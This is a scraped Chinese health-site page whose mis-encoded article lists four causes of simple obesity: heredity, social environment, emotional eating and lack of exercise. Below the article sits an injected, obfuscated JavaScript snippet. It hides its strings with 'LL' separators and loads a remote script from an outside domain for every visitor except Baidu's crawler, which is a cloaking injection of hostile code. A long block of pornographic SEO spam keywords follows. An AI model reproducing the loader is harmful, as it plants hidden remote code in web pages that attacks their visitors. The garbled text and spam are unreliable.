當(dāng)前位置:首頁(yè) > 減肥 > 減肥方法 > 正文

單純性肥胖的四大常見(jiàn)原因

2017-03-12 13:30:15  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):一般人的日常飲食,經(jīng)常攝取含有脂肪等高熱量食物,一旦攝取過(guò)量的脂肪,當(dāng)然就會(huì)造成肥胖,而促進(jìn)了脂肪的累積,同時(shí)也因?yàn)閿z取了過(guò)量的“酒精。所以,預(yù)防單純性肥胖在日常的飲食是十分重要的。

單純性肥胖占肥胖者的95%以上,一般所謂的“中年性肥胖”也是屬於單純性肥胖,但是中年性肥胖者當(dāng)中,有時(shí)候也隱藏有癥候性肥胖,因此不可加以忽略。

1.遺傳因素:

大多認(rèn)定為“多因子遺傳”,父母的體質(zhì)遺傳給子女時(shí),并不是由一個(gè)遺傳因子,而是由多數(shù)的遺傳因子來(lái)決定子女的體質(zhì),所以稱為多因子遺傳,例如非胰島素依賴型糖尿病、肥胖,就屬於這類遺傳。父母中有一人肥胖,則子女有40%肥胖的機(jī)率,如果父母雙方皆肥胖,子女可能肥胖的機(jī)率升高至70%─80%。真正因?yàn)椤岸嘁蜃舆z傳”的例子并不多見(jiàn),遺傳了父母“錯(cuò)誤的飲食習(xí)慣”,而導(dǎo)致肥胖的例子,則屢見(jiàn)不鮮。

2.社會(huì)環(huán)境的因素:

很多人都有著“能吃就是福”的觀念,現(xiàn)今社會(huì),食物種類繁多,各式各樣美食常在引誘你,再加上“大吃一頓”幾乎成為了一種普遍的娛樂(lè),這當(dāng)然成為造成肥胖的主要原因。

3.心理的因素:

為了解除心情上的煩惱、情緒上的不穩(wěn)定,不少人也是用“吃”來(lái)作發(fā)泄。這都是引起飲食過(guò)量而導(dǎo)致肥胖的原因。

4.與運(yùn)動(dòng)有關(guān)的因素:

運(yùn)動(dòng)有助消耗脂肪,在日常生活之中,隨著交通工具的發(fā)達(dá),工作的機(jī)械化,家務(wù)量減輕等,使得人體消耗熱量的機(jī)會(huì)更少,另一方面因?yàn)閿z取的能量并未減少,而形成肥胖。胖導(dǎo)致日常的活動(dòng)越趨緩慢、慵懶,更再次減低熱量的消耗,導(dǎo)致惡性循環(huán),助長(zhǎng)肥胖的發(fā)生。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产AV午夜精品一区二区三区| 精品国产乱码久久久久软件| 蜜臀AV无码精品人妻色欲| 在线精品动漫一区二区无广告| 欧美精品黑人粗大视频 | 色妞www精品视频免费看| 99在线热视频只有精品免费| 亚洲国产精品成人AV无码久久综合影院| 亚洲制服丝袜精品久久| 国产啪精品视频网站| 国产成人精品高清免费| 国产成人愉拍精品| 亚洲av午夜福利精品一区| 亚洲精品国产高清不卡在线| 国产v精品成人免费视频400条| 久久精品亚洲综合专区| 国产精品午夜国产小视频| 国产av一区最新精品| 69国产成人精品午夜福中文| 国产亚洲色婷婷久久99精品| 国产叼嘿久久精品久久| 精品中文字幕久久久久久| 99精品国产在热久久无毒不卡| 亚洲国产精品SSS在线观看AV| 国产精品国产三级国产a| 在线观看国产精品麻豆| 亚洲精品一卡2卡3卡四卡乱码 | 四虎永久在线观看视频精品| 亚洲αv在线精品糸列| 国内精品伊人久久久久网站| 四虎亚洲国产成人久久精品| 香蕉久久夜色精品国产| 久久99热这里只频精品6| 3d动漫精品啪啪一区二区中| 久久99精品免费视频| 久久99国产精品久久久| 丰满人妻熟妇乱又伦精品视| 国产精品视频不卡| 国产成人精品综合久久久| 日韩精品无码免费视频| 国产精品2018|